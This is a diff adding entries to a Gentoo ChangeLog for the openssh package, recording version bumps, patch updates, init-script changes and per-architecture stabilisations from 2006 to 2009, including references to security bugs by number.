+  13 Aug 2009; Mike Frysinger <vapier@gentoo.org> openssh-5.0_p1-r2.ebuild,
+  openssh-5.1_p1-r2.ebuild, openssh-5.1_p1-r3.ebuild,
+  openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild:
+  Suggest people reload the sshd server rather than restart it.
+
+  12 Aug 2009; Christian Ruppert <idl0r@gentoo.org> files/sshd.rc6:
+  Removed "-b 1024" to use ServerKeyBits option instead.
+
+  19 Jul 2009; Mike Frysinger <vapier@gentoo.org> files/sshd.rc6:
+  Add checkconfig to reload() #277007 by Michał Górny.
+
+  10 Jul 2009; Robin H. Johnson <robbat2@gentoo.org> files/sshd.rc6:
+  Allow public calls to checkconfig and gen_keys, for helping automation and
+  sanity checks.
+
+  23 Jun 2009; Mike Frysinger <vapier@gentoo.org> openssh-5.2_p1-r2.ebuild,
+  +files/openssh-5.2_p1-autoconf.patch:
+  Workaround autoconf-2.63 issues with empty else statements.
+
+  18 May 2009; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild,
+  +files/openssh-5.2p1-ldap-stdargs.diff:
+  Bug #266654: Fix LPK compile under uclibc due to missing include statement
+  thanks to Bertrand Jacquin <beber@meleeweb.net>.
+
+  18 May 2009; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-5.2_p1-r2.ebuild:
+  New release of the HPN patch that makes it mostly usable now. The
+  multithreaded AES-CTR portion is disabled to avoid hangs however.
+
+  20 Apr 2009; Mike Frysinger <vapier@gentoo.org> openssh-5.2_p1-r2.ebuild:
+  Skip pkcs11/kerberos support when USE=static by Alon Bar-Lev #266404 by
+  Jan Paesmans.
+
+  12 Apr 2009; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-5.2_p1-r2.ebuild:
+  Switch to UID instead of hardcoded portage per bug #264841 comment.
+
+  12 Apr 2009; Robin H. Johnson <robbat2@gentoo.org> files/sshd.rc6:
+  Bug #265491, fix opts with baselayout1.
+
+  12 Apr 2009; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild:
+  Bug #264841, the ssh testsuite needs a real shell to run, so run a subset
+  of tests otherwise.
+
+  04 Apr 2009; Raúl Porcel <armin76@gentoo.org> openssh-5.2_p1-r1.ebuild:
+  alpha/arm/ia64/m68k/s390/sh/sparc stable wrt #247466
+
+  02 Apr 2009; Markus Meier <maekke@gentoo.org> openssh-5.2_p1-r1.ebuild:
+  amd64/x86 stable, bug #247466
+
+  02 Apr 2009; Brent Baude <ranger@gentoo.org> openssh-5.2_p1-r1.ebuild:
+  Marking openssh-5.2_p1-r1 ppc64 and ppc for bug 247466
+
+  02 Apr 2009; Jeroen Roovers <jer@gentoo.org> openssh-5.2_p1-r1.ebuild:
+  Stable for HPPA (bug #247466).
+
+  11 Mar 2009; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild:
+  Add the SSH testsuite, because I think the latest HPN patch has a breakage
+  that was missed.
+
+*openssh-5.2_p1-r2 (09 Mar 2009)
+
+  09 Mar 2009; Robin H. Johnson <robbat2@gentoo.org>
+  +openssh-5.2_p1-r2.ebuild:
+  Added my own unofficial port of the HPN patch, because performance sucks
+  without it.
+
+  25 Feb 2009; Mike Frysinger <vapier@gentoo.org> openssh-5.2_p1-r1.ebuild:
+  Update pkcs11 patch #152170.
+
+*openssh-5.2_p1-r1 (24 Feb 2009)
+
+  24 Feb 2009; Robin H. Johnson <robbat2@gentoo.org>
+  +openssh-5.2_p1-r1.ebuild:
+  LPK patch updated for new OpenSSH release.
+
+  24 Feb 2009; Mike Frysinger <vapier@gentoo.org> openssh-5.2_p1.ebuild:
+  Fix X509 patching #260163 by Daniel J.
+
+*openssh-5.2_p1 (24 Feb 2009)
+
+  24 Feb 2009; Mike Frysinger <vapier@gentoo.org> +openssh-5.2_p1.ebuild:
+  Version bump #247466.
+
+  20 Feb 2009; Raúl Porcel <armin76@gentoo.org> openssh-5.1_p1-r2.ebuild:
+  ia64/sparc stable wrt #258940
+
+  16 Feb 2009; Brent Baude <ranger@gentoo.org> openssh-5.1_p1-r2.ebuild:
+  stable ppc64, bug 258940
+
+  15 Feb 2009; Markus Meier <maekke@gentoo.org> openssh-5.1_p1-r2.ebuild:
+  amd64/x86 stable, bug #258940
+
+  14 Feb 2009; Brent Baude <ranger@gentoo.org> openssh-5.1_p1-r2.ebuild:
+  stable ppc, bug 258940
+
+  14 Feb 2009; Jeroen Roovers <jer@gentoo.org> openssh-5.1_p1-r2.ebuild:
+  Stable for HPPA (bug #258940).
+
+  14 Feb 2009; Tobias Klausmann <klausman@gentoo.org>
+  openssh-5.1_p1-r2.ebuild:
+  Stable on alpha, bug #258940
+
+  14 Feb 2009; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-5.1_p1-x509-headers.patch, openssh-5.1_p1-r2.ebuild,
+  openssh-5.1_p1-r3.ebuild:
+  Fix implicit strsep() prototype in x509 code #258795 by orlin.
+
+  08 Feb 2009; Mike Frysinger <vapier@gentoo.org> openssh-4.4_p1-r6.ebuild,
+  openssh-4.5_p1-r2.ebuild, openssh-4.6_p1-r4.ebuild,
+  openssh-4.7_p1-r6.ebuild, openssh-4.7_p1-r20.ebuild,
+  openssh-5.0_p1-r1.ebuild, openssh-5.0_p1-r2.ebuild, openssh-5.1_p1.ebuild,
+  openssh-5.1_p1-r1.ebuild, openssh-5.1_p1-r2.ebuild,
+  openssh-5.1_p1-r3.ebuild:
+  Drop unused ccc eclass inherit.
+
+  21 Jan 2009; Jeremy Olexa <darkside@gentoo.org> openssh-5.1_p1-r3.ebuild:
+  Disable PATH reset in configure script, bug 254615
+
+  15 Jan 2009; Robin H. Johnson <robbat2@gentoo.org> metadata.xml:
+  Re-add my <description> tag for metadata.xml, because it's a full
+  description, not just a restrict based on USE flags. And spanky didn't
+  have a changelog entry either.
+
+  13 Jan 2009; Mike Frysinger <vapier@gentoo.org>
+  files/openssh-5.1_p1-better-ssp-check.patch:
+  Fixup ssp detection patch #254365 by Felix Riemann.
+
+*openssh-5.1_p1-r3 (09 Jan 2009)
+
+  09 Jan 2009; Diego E. Pettenò <flameeyes@gentoo.org>
+  +openssh-5.1_p1-r3.ebuild:
+  Let PAM print motd and last login data to close bug #244816.
+
+  17 Nov 2008; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-5.1_p1-better-ssp-check.patch, openssh-5.1_p1-r1.ebuild,
+  openssh-5.1_p1-r2.ebuild:
+  Fix ssp detection on uClibc hosts.
+
+*openssh-5.1_p1-r2 (03 Nov 2008)
+
+  03 Nov 2008; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-5.1_p1-escaped-banner.patch,
+  +files/openssh-5.1_p1-null-banner.patch, +openssh-5.1_p1-r2.ebuild:
+  Fix some issues with printing of banners #244222 by Michał Górny.
+
+  01 Nov 2008; Robin H. Johnson <robbat2@gentoo.org> openssh-5.1_p1.ebuild,
+  openssh-5.1_p1-r1.ebuild:
+  Bug #244760, we need to pass --with-ldap, not try to execute it.
+
+  30 Oct 2008; Brent Baude <ranger@gentoo.org> openssh-5.1_p1-r1.ebuild:
+  Marking openssh-5.1_p1-r1 ppc for bug 231292
+
+  30 Oct 2008; Raúl Porcel <armin76@gentoo.org> openssh-5.1_p1-r1.ebuild:
+  alpha/ia64/sparc stable #231292
+
+  27 Oct 2008; Brent Baude <ranger@gentoo.org> openssh-5.1_p1-r1.ebuild:
+  Marking openssh-5.1_p1-r1 ppc64 for bug 231292
+
+  26 Oct 2008; Jeroen Roovers <jer@gentoo.org> openssh-5.1_p1-r1.ebuild:
+  Stable for HPPA (bug #231292).
+
+  26 Oct 2008; Markus Meier <maekke@gentoo.org> openssh-5.1_p1-r1.ebuild:
+  amd64/x86 stable, bug #231292
+
+  29 Aug 2008; Mike Frysinger <vapier@gentoo.org> openssh-5.1_p1.ebuild,
+  openssh-5.1_p1-r1.ebuild:
+  Tweak --with-ldap catch #235594 by BedOS_Gui.
+
+*openssh-5.1_p1-r1 (23 Aug 2008)
+
+  23 Aug 2008; Robin H. Johnson <robbat2@gentoo.org>
+  +files/openssh-5.1_p1-ldap-hpn-glue.patch, metadata.xml,
+  +openssh-5.1_p1-r1.ebuild:
+  Update the LDAP patches, also mailed to upstream.
+
+  23 Aug 2008; Robin H. Johnson <robbat2@gentoo.org>
+  +files/openssh-5.1_p1-x509-hpn-glue.patch, openssh-5.1_p1.ebuild:
+  Forward-port the X509/hpn glue patch per bug #235086.
+
+*openssh-5.1_p1 (17 Aug 2008)
+
+  17 Aug 2008; Mike Frysinger <vapier@gentoo.org> +openssh-5.1_p1.ebuild:
+  Version bump #232891 by Krzysztof Oledzki.
+
+*openssh-5.0_p1-r2 (23 Jul 2008)
+
+  23 Jul 2008; Diego Pettenò <flameeyes@gentoo.org>
+  +openssh-5.0_p1-r2.ebuild:
+  Add new revision that use pambase now that it's fully keyworded. Closes
+  bug #225141 by Davide Pesavento.
+
+  17 May 2008; nixnut <nixnut@gentoo.org> openssh-4.7_p1-r20.ebuild:
+  Added ~ppc wrt bug 210777
+
+  11 May 2008; Ulrich Mueller <ulm@gentoo.org> openssh-4.4_p1-r6.ebuild,
+  openssh-4.5_p1-r2.ebuild, openssh-4.6_p1-r4.ebuild,
+  openssh-4.7_p1-r6.ebuild, openssh-4.7_p1-r20.ebuild,
+  openssh-5.0_p1-r1.ebuild:
+  Fix dependency: app-admin/skey moved to sys-auth/skey.
+
+*openssh-5.0_p1-r1 (10 Apr 2008)
+
+  10 Apr 2008; Mike Frysinger <vapier@gentoo.org> +openssh-5.0_p1-r1.ebuild:
+  Update HPN and gsskex patch #216932 by Kamil Kisiel.
+
+  06 Apr 2008; Mike Frysinger <vapier@gentoo.org> openssh-5.0_p1.ebuild:
+  Remove accidental pkcs11-helper inclusion from DEPEND.
+
+*openssh-5.0_p1 (05 Apr 2008)
+
+  05 Apr 2008; Mike Frysinger <vapier@gentoo.org> +openssh-5.0_p1.ebuild:
+  Version bump.
+
+  03 Apr 2008; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.7_p1-r6.ebuild:
+  ppc stable, bug #215702
+
+  02 Apr 2008; Mike Frysinger <vapier@gentoo.org> openssh-4.9_p1-r1.ebuild:
+  Drop unnecessary USE=chroot #215820 by Cybertinus.
+
+  02 Apr 2008; Jeroen Roovers <jer@gentoo.org> openssh-4.7_p1-r6.ebuild:
+  Stable for HPPA (bug #215702).
+
+  02 Apr 2008; Markus Rothe <corsair@gentoo.org> openssh-4.7_p1-r6.ebuild:
+  Stable on ppc64; bug #215702
+
+*openssh-4.9_p1-r1 (02 Apr 2008)
+
+  02 Apr 2008; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.9_p1-x509-hpn-glue.patch, -openssh-4.9_p1.ebuild,
+  +openssh-4.9_p1-r1.ebuild:
+  Add updated X509/hpn patches.
+
+  02 Apr 2008; Raúl Porcel <armin76@gentoo.org> openssh-4.7_p1-r6.ebuild:
+  alpha/ia64/sparc stable wrt security #215702
+
+  02 Apr 2008; Richard Freeman <rich0@gentoo.org> openssh-4.7_p1-r6.ebuild:
+  amd64 stable - 215702
+
+  01 Apr 2008; Christian Faulhammer <opfer@gentoo.org>
+  openssh-4.7_p1-r6.ebuild:
+  stable x86, security bug 215702
+
+*openssh-4.7_p1-r6 (01 Apr 2008)
+
+  01 Apr 2008; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.7_p1-ForceCommand.patch, +openssh-4.7_p1-r6.ebuild:
+  Fix for ForceCommand bypass #215702.
+
+*openssh-4.9_p1 (01 Apr 2008)
+
+  01 Apr 2008; Mike Frysinger <vapier@gentoo.org> +openssh-4.9_p1.ebuild:
+  Version bump.
+
+  01 Apr 2008; Chris PeBenito <pebenito@gentoo.org>
+  +files/openssh-4.7p1-selinux.diff, openssh-4.7_p1-r5.ebuild,
+  openssh-4.7_p1-r20.ebuild:
+  fix bug #191665, in selinux portion of configure script.
+
+  30 Mar 2008; Raúl Porcel <armin76@gentoo.org> openssh-4.7_p1-r5.ebuild:
+  alpha/ia64/sparc stable wrt security #214985
+
+  29 Mar 2008; Richard Freeman <rich0@gentoo.org> openssh-4.7_p1-r5.ebuild:
+  amd64 stable - 214985
+
+  29 Mar 2008; Christian Faulhammer <opfer@gentoo.org>
+  openssh-4.7_p1-r5.ebuild:
+  stable x86, security bug 214985
+
+  29 Mar 2008; Jeroen Roovers <jer@gentoo.org> openssh-4.7_p1-r5.ebuild:
+  Stable for HPPA (bug #214985).
+
+  29 Mar 2008; Brent Baude <ranger@gentoo.org> openssh-4.7_p1-r5.ebuild:
+  Marking openssh-4.7_p1-r5 ppc64 and ppc for bug 214985
+
+*openssh-4.7_p1-r5 (29 Mar 2008)
+
+  29 Mar 2008; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.7_p1-CVE-2008-1483.patch,
+  +files/openssh-4.7_p1-lpk-64bit.patch,
+  +files/openssh-4.7_p1-packet-size.patch, +openssh-4.7_p1-r5.ebuild:
+  Fix CVE-2008-1483 #214985. Fix from upstream for scp/packet problems #212433
+  by Steven Parkes. Fix from Piotr Stolc for some LPK configs under 64bit
+  systems #210110. Add gsskex patch (for now) #115553.
+
+  17 Mar 2008; Santiago M. Mola <coldwind@gentoo.org>
+  openssh-4.7_p1-r20.ebuild:
+  ~amd64 added wrt bug #210777
+
+  14 Mar 2008; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.7_p1-r20.ebuild:
+  Disable printing of motd and lastlog when enabling PAM, on the
+  pambase-dependent ebuild, as system-login takes care of that. Closes bug
+  #213234.
+
+  06 Mar 2008; Raúl Porcel <armin76@gentoo.org> openssh-4.7_p1-r20.ebuild:
+  Add ~alpha/~ia64 wrt #210777
+
+  05 Mar 2008; Ferris McCormick <fmccor@gentoo.org>
+  openssh-4.7_p1-r20.ebuild:
+  Add back ~sparc, Bug #210777, verified as still working with USE=pam.
+
+  05 Mar 2008; Brent Baude <ranger@gentoo.org> openssh-4.7_p1-r20.ebuild:
+  keyworded ~arch for ppc64, bug 210777
+
+  04 Mar 2008; <cla@gentoo.org> openssh-4.7_p1-r20.ebuild:
+  Marked ~x86 (bug #210777). Thanks to Michał Wołonkiewicz <volon@vp.pl> for
+  testing.
+
+  03 Mar 2008; Jeroen Roovers <jer@gentoo.org> openssh-4.7_p1-r20.ebuild:
+  Marked ~hppa (bug #210777).
+
+  23 Feb 2008; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-4.4_p1-r6.ebuild, openssh-4.5_p1-r2.ebuild,
+  openssh-4.6_p1-r3.ebuild, openssh-4.7_p1-r1.ebuild:
+  Drop mips to ~mips because app-admin/skey has dropped the stable mips keyword.
+
+  23 Feb 2008; Robin H. Johnson <robbat2@gentoo.org> metadata.xml:
+  Add myself as the contact point for LPK issues. I am on base-system for
+  everything else.
+
+  20 Feb 2008; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.7_p1-r20.ebuild:
+  Fix dependencies for pambase/pam.
+
+*openssh-4.7_p1-r20 (19 Feb 2008)
+
+  19 Feb 2008; Diego Pettenò <flameeyes@gentoo.org>
+  +files/sshd.pam_include.2, +openssh-4.7_p1-r20.ebuild:
+  Add a new revision with pambase's system-remote-login as base stack. Now
+  also prints motd when using PAM.
+
+  12 Feb 2008; Santiago M. Mola <coldwind@gentoo.org>
+  openssh-4.7_p1-r3.ebuild:
+  amd64 stable wrt bug #193401
+
+  10 Feb 2008; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.7_p1-x509-hpn-glue.patch, openssh-4.7_p1-r4.ebuild:
+  Fix building with USE='X509 hpn' #209479 by Jose daLuz.
+
+  10 Feb 2008; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.7_p1-r3.ebuild:
+  ppc stable, bug #193401
+
+  09 Feb 2008; Brent Baude <ranger@gentoo.org> openssh-4.7_p1-r3.ebuild:
+  stable ppc64, bug 193401
+
+*openssh-4.7_p1-r4 (09 Feb 2008)
+
+  09 Feb 2008; Mike Frysinger <vapier@gentoo.org> +openssh-4.7_p1-r4.ebuild:
+  Update HPN patch.
+
+  28 Jan 2008; Jeroen Roovers <jer@gentoo.org> openssh-4.7_p1-r3.ebuild:
+  Stable for HPPA too.
+
+  24 Jan 2008; Raúl Porcel <armin76@gentoo.org> openssh-4.7_p1-r3.ebuild:
+  alpha/ia64/sparc/x86 stable
+
+*openssh-4.7_p1-r3 (21 Nov 2007)
+
+  21 Nov 2007; Mike Frysinger <vapier@gentoo.org> +openssh-4.7_p1-r3.ebuild:
+  Update x509/hpn patches.
+
+  08 Oct 2007; Mike Frysinger <vapier@gentoo.org> openssh-4.7_p1-r1.ebuild,
+  openssh-4.7_p1-r2.ebuild:
+  Mirrors have had long enough to update; drop restriction.
+
+*openssh-4.7_p1-r2 (29 Sep 2007)
+
+  29 Sep 2007; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.7_p1-GSSAPI-dns.patch, +openssh-4.7_p1-r2.ebuild:
+  Enable ssl-engine support #194163 by Nikhil Sethi and add GSSAPI/DNS patch
+  #165444 by Alex Iribarren.
+
+  27 Sep 2007; Joshua Kinard <kumba@gentoo.org> openssh-4.7_p1-r1.ebuild:
+  Stable on mips, per #191321.
+
+  25 Sep 2007; Mike Frysinger <vapier@gentoo.org> openssh-4.7_p1-r1.ebuild:
+  Force u+x perms on /etc/skel/.ssh for a while to help with older broken
+  installs.
+
+  22 Sep 2007; Mike Frysinger <vapier@gentoo.org> openssh-4.7_p1-r1.ebuild:
+  Upstream changed openssh-4.7p1-hpn12v18.diff.gz slightly so rebuild manifest
+  and prevent hitting Gentoo mirrors for a little while #193401 by Timothy
+  Redaelli.
+
+  20 Sep 2007; Mike Frysinger <vapier@gentoo.org> files/sshd.rc6:
+  If restarting, check the config first #192825 by Hans-Werner Hilse.
+
+  08 Sep 2007; Markus Rothe <corsair@gentoo.org> openssh-4.7_p1-r1.ebuild:
+  Stable on ppc64; bug #191321
+
+*openssh-4.7_p1-r1 (07 Sep 2007)
+
+  07 Sep 2007; Mike Frysinger <vapier@gentoo.org> +openssh-4.7_p1-r1.ebuild:
+  Add X509 and hpn patches.
+
+  07 Sep 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.7_p1.ebuild:
+  ppc stable, bug #191321
+
+  07 Sep 2007; Jeroen Roovers <jer@gentoo.org> openssh-4.7_p1.ebuild:
+  Stable for HPPA (bug #191321).
+
+  07 Sep 2007; Chris Gianelloni <wolf31o2@gentoo.org> openssh-4.7_p1.ebuild:
+  Stable on amd64 wrt bug #191321.
+
+  06 Sep 2007; Jose Luis Rivero <yoswink@gentoo.org> openssh-4.7_p1.ebuild:
+  Stable on sparc wrt security bug #191321
+
+  06 Sep 2007; Raúl Porcel <armin76@gentoo.org> openssh-4.7_p1.ebuild:
+  alpha/ia64 stable wrt security #191321
+
+  06 Sep 2007; Andrej Kacian <ticho@gentoo.org> openssh-4.7_p1.ebuild:
+  Stable on x86, security bug #191321.
+
+*openssh-4.7_p1 (05 Sep 2007)
+
+  05 Sep 2007; Mike Frysinger <vapier@gentoo.org> +openssh-4.7_p1.ebuild:
+  Version bump #191321 by Rajiv Aaron Manglani.
+
+  25 Aug 2007; Mike Frysinger <vapier@gentoo.org> openssh-4.6_p1-r4.ebuild:
+  Punt securid stuff as upstream is not fast enough to update.
+
+*openssh-4.6_p1-r4 (06 Aug 2007)
+
+  06 Aug 2007; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.6_p1-chan-read-failed.patch, +openssh-4.6_p1-r4.ebuild:
+  Fix from upstream for spurious chan_read_failed errors #181407.
+
+*openssh-4.6_p1-r3 (06 Aug 2007)
+
+  06 Aug 2007; Mike Frysinger <vapier@gentoo.org> +openssh-4.6_p1-r3.ebuild:
+  Add updated ldap patch #187594.
+
+  04 Aug 2007; <metalgod@gentoo.org> openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild,
+  openssh-4.6_p1-r2.ebuild:
+  Stable on amd64. See security bug #183958.
+
+  02 Aug 2007; Raúl Porcel <armin76@gentoo.org> openssh-4.5_p1-r2.ebuild,
+  openssh-4.6_p1-r2.ebuild:
+  x86 stable, no idea why i didn't stabilize them
+
+  23 Jul 2007; Mike Frysinger <vapier@gentoo.org> openssh-4.2_p1-r1.ebuild,
+  openssh-4.3_p2-r5.ebuild, openssh-4.4_p1-r6.ebuild, openssh-4.5_p1.ebuild,
+  openssh-4.5_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild:
+  Punt bindnow-flags usage.
+
+  22 Jul 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  openssh-4.3_p2-r5.ebuild:
+  Drop virtual/x11 references.
+
+  21 Jul 2007; Joseph Jezak <josejx@gentoo.org> openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild,
+  openssh-4.6_p1-r2.ebuild:
+  Marked ppc/ppc64 stable for bug #183958.
+
+  10 Jul 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-4.0_p1-r2.ebuild, openssh-4.1_p1-r1.ebuild:
+  Stable on sparc wrt #183958
+
+  07 Jul 2007; Raúl Porcel <armin76@gentoo.org> openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild:
+  alpha/ia64/x86 stable wrt #183958
+
+  07 Jul 2007; Joshua Kinard <kumba@gentoo.org> openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild,
+  openssh-4.6_p1-r2.ebuild:
+  Stable on mips, per #183958.
+
+  05 Jul 2007; Raúl Porcel <armin76@gentoo.org> openssh-4.5_p1-r2.ebuild,
+  openssh-4.6_p1-r2.ebuild:
+  alpha/ia64 stable wrt #183958
+
+  04 Jul 2007; Jeroen Roovers <jer@gentoo.org> openssh-4.6_p1-r2.ebuild:
+  Stable for HPPA (bug #183958).
+
+  04 Jul 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-4.5_p1-r2.ebuild, openssh-4.6_p1-r2.ebuild:
+  Stable on sparc wrt #183958
+
+  04 Jul 2007; Jeroen Roovers <jer@gentoo.org> openssh-4.5_p1-r2.ebuild:
+  Stable for HPPA (bug #183958).
+
+  04 Jul 2007; Jeroen Roovers <jer@gentoo.org> openssh-4.1_p1-r1.ebuild:
+  Stable for HPPA (bug #183958).
+
+  04 Jul 2007; Jeroen Roovers <jer@gentoo.org> openssh-4.0_p1-r2.ebuild:
+  Stable for HPPA (bug #183958).
+
+*openssh-4.6_p1-r2 (02 Jul 2007)
+
+  02 Jul 2007; Diego Pettenò <flameeyes@gentoo.org>
+  +files/sshd.pam_include.1, +openssh-4.6_p1-r2.ebuild:
+  Revision bump to fix the pam.d file.
+
+  24 Apr 2007; Alexander Færøy <eroyf@gentoo.org>
+  openssh-4.5_p1-r1.ebuild:
+  Stable on MIPS.
+
+  18 Mar 2007; Robin H. Johnson <robbat2@gentoo.org>
+  openssh-4.5_p1-r2.ebuild:
+  Bug #169665, use slightly modified LPK patch to avoid conflict on configure
+  with SecurID patch.
+
+*openssh-4.6_p1-r1 (13 Mar 2007)
+
+  13 Mar 2007; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.6_p1-ChallengeResponseAuthentication.patch,
+  +openssh-4.6_p1-r1.ebuild:
+  Grab fix from upstream for ChallengeResponseAuthentication (to fix USE=pam
+  defaults) #170670 and add new hpn support.
+
+*openssh-4.6_p1 (11 Mar 2007)
+
+  11 Mar 2007; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.6_p1-include-string-header.patch, +openssh-4.6_p1.ebuild:
+  Version bump #170385 by Wolfram Schlich.
+
+*openssh-4.5_p1-r2 (05 Mar 2007)
+
+  05 Mar 2007; Robin H. Johnson <robbat2@gentoo.org>
+  +openssh-4.5_p1-r2.ebuild:
+  Bug #168681. Bump for new versions of HPN (compile fix for strict compilers)
+  and LPK (Addition of LpkFilter as an LDAP filter).
+
+*openssh-4.5_p1-r1 (23 Feb 2007)
+
+  23 Feb 2007; Roy Marples <uberlord@gentoo.org> files/sshd.rc6,
+  +openssh-4.5_p1-r1.ebuild:
+  Bump for a non bash init script.
+
+  08 Jan 2007; Michael Cummings <mcummings@gentoo.org>
+  openssh-4.5_p1.ebuild:
+  Stable on amd64 wrt security bug 154389
+
+  08 Jan 2007; Bryan Østergaard <kloeri@gentoo.org> openssh-4.5_p1.ebuild:
+  Stable on Alpha, bug 154389.
+
+  08 Jan 2007; Gustavo Zacarias <gustavoz@gentoo.org> openssh-4.5_p1.ebuild:
+  Stable on sparc wrt security #154389
+
+  07 Jan 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.5_p1.ebuild:
+  Stable on ppc wrt bug #154389.
+
+  07 Jan 2007; Markus Rothe <corsair@gentoo.org> openssh-4.5_p1.ebuild:
+  Stable on ppc64; bug #154389
+
+  06 Jan 2007; Jeroen Roovers <jer@gentoo.org> openssh-4.5_p1.ebuild:
+  Stable for HPPA (bug #154389).
+
+  06 Jan 2007; Christian Faulhammer <opfer@gentoo.org>
+  openssh-4.5_p1.ebuild:
+  stable x86, security bug #154389
+
+  07 Dec 2006; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.3_p2-r1.ebuild, openssh-4.3_p2-r5.ebuild,
+  openssh-4.4_p1-r6.ebuild, openssh-4.5_p1.ebuild:
+  Require dev-libs/libedit for libedit support, as it's going to be removed
+  from freebsd-lib in favour of a merged dev-libs/libedit ebuild.
+
+  08 Nov 2006; Ilya A. Volynets-Evenbakh <iluxa@gentoo.org>
+  openssh-4.4_p1-r6.ebuild:
+  Stable on mips (#149502)
+
+*openssh-4.5_p1 (07 Nov 2006)
+
+  07 Nov 2006; Mike Frysinger <vapier@gentoo.org> +openssh-4.5_p1.ebuild:
+  Version bump #154389.
+
+  05 Nov 2006; Brent Baude <ranger@gentoo.org> openssh-4.4_p1-r6.ebuild:
+  Marking openssh-4.4_p1-r6 ppc64 stable for 149502
+
+  03 Nov 2006; Fernando J. Pereda <ferdy@gentoo.org>
+  openssh-4.4_p1-r6.ebuild:
+  Stable on alpha as per bug #149502
+
+*openssh-4.4_p1-r6 (03 Nov 2006)
+
+  03 Nov 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.4_p1-ldap-hpn-glue.patch, +openssh-4.4_p1-r6.ebuild:
+  Grab updated HPN patch to fix -C issues #153854.
+
+  01 Nov 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.4_p1-r5.ebuild:
+  ppc stable, bug #149502
+
+  01 Nov 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-4.4_p1-r5.ebuild:
+  Stable on sparc wrt security #149502
+
+  01 Nov 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.4_p1-x509-hpn-glue.patch, openssh-4.4_p1-r5.ebuild:
+  Tweak X509 a little so HPN can apply at the sametime #151527 by Bob Reveley.
+
+  31 Oct 2006; Danny van Dyk <kugelfang@gentoo.org>
+  openssh-4.4_p1-r5.ebuild:
+  Marked stable on amd64.
+
+  31 Oct 2006; Andrej Kacian <ticho@gentoo.org> openssh-4.4_p1-r5.ebuild:
+  Stable on x86, security bug #152594.
+
+  31 Oct 2006; Jeroen Roovers <jer@gentoo.org> openssh-4.4_p1-r5.ebuild:
+  Stable for HPPA (bug #149502).
+
+*openssh-4.4_p1-r5 (25 Oct 2006)
+
+  25 Oct 2006; Mike Frysinger <vapier@gentoo.org> +openssh-4.4_p1-r5.ebuild:
+  Add updated securid support.
+
+  17 Oct 2006; Roy Marples <uberlord@gentoo.org> openssh-4.4_p1-r4.ebuild:
+  Added ~sparc-fbsd keyword.
+
+  14 Oct 2006; Roy Marples <uberlord@gentoo.org> files/sshd.rc6:
+  Init script now interacts fully with start-stop-daemon.
+
+*openssh-4.4_p1-r4 (13 Oct 2006)
+
+  13 Oct 2006; Mike Frysinger <vapier@gentoo.org> +openssh-4.4_p1-r4.ebuild:
+  Add updated hpn support.
+
+*openssh-4.4_p1-r3 (04 Oct 2006)
+
+  04 Oct 2006; Chris PeBenito <pebenito@gentoo.org>
+  +files/openssh-4.4p1-selinux-ac.diff, +openssh-4.4_p1-r3.ebuild:
+  Fix configure to properly detect SELinux functions.
+
+*openssh-4.4_p1-r2 (02 Oct 2006)
+
+  02 Oct 2006; Mike Frysinger <vapier@gentoo.org> +openssh-4.4_p1-r2.ebuild:
+  Add support for new X509.
+
+  02 Oct 2006; Andrea Barisani <lcars@gentoo.org>
+  files/digest-openssh-4.4_p1-r1, Manifest:
+  Fixing digest wrt bug #149571
+
+  30 Sep 2006; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.4_p1-r1.ebuild:
+  Make sure pam is the latest eclass called.
+
+  29 Sep 2006; Markus Rothe <corsair@gentoo.org> openssh-4.3_p2-r5.ebuild:
+  Stable on ppc64
+
+*openssh-4.4_p1-r1 (29 Sep 2006)
+
+  29 Sep 2006; Andrea Barisani <lcars@gentoo.org> +openssh-4.4_p1-r1.ebuild:
+  Revision bump for new ldap patch.
+
+*openssh-4.4_p1 (28 Sep 2006)
+
+  28 Sep 2006; Mike Frysinger <vapier@gentoo.org> +openssh-4.4_p1.ebuild:
+  Version bump.
+
+  27 Sep 2006; Fernando J. Pereda <ferdy@gentoo.org>
+  openssh-4.3_p2-r5.ebuild:
+  Stable on alpha wrt bug #148228
+
